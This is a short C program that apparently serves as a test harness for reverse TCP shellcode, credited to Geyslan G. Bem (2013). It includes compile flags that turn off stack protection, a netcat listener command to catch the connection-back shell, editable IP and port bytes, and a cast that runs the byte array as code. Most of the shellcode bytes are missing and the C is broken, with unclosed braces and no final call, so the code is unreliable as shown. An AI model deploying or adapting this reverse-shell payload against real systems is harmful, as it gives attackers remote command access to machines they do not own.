Shell Reverse TCP Shellcode - C Language

 Written in 2013 by Geyslan G. Bem, Hacking bits


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 * 72 bytes
 * null-bytes free if the port and address are
 * the ip address and port number are easily changeable (2nd to 5th bytes are the IP) and (9th and 10th are the Port)

 # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
 # ./shellcode

 # nc -l 55555
 # ./shellcode 


#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x7f\x01\x01\x01"  // <- IP Number ""
"\xd9\x03"          // <- Port Number "55555"

main ()

        // When the IP contains null-bytes, printf will show a wrong shellcode length.

	printf("Shellcode Length:  %d\n", strlen(code));

	// Pollutes all registers ensuring that the shellcode runs in any circumstance.

	__asm__ ("movl $0xffffffff, %eax\n\t"
		 "movl %eax, %ebx\n\t"
		 "movl %eax, %ecx\n\t"
		 "movl %eax, %edx\n\t"
		 "movl %eax, %esi\n\t"
		 "movl %eax, %edi\n\t"
		 "movl %eax, %ebp");

	int (*ret)() = (int(*)())code;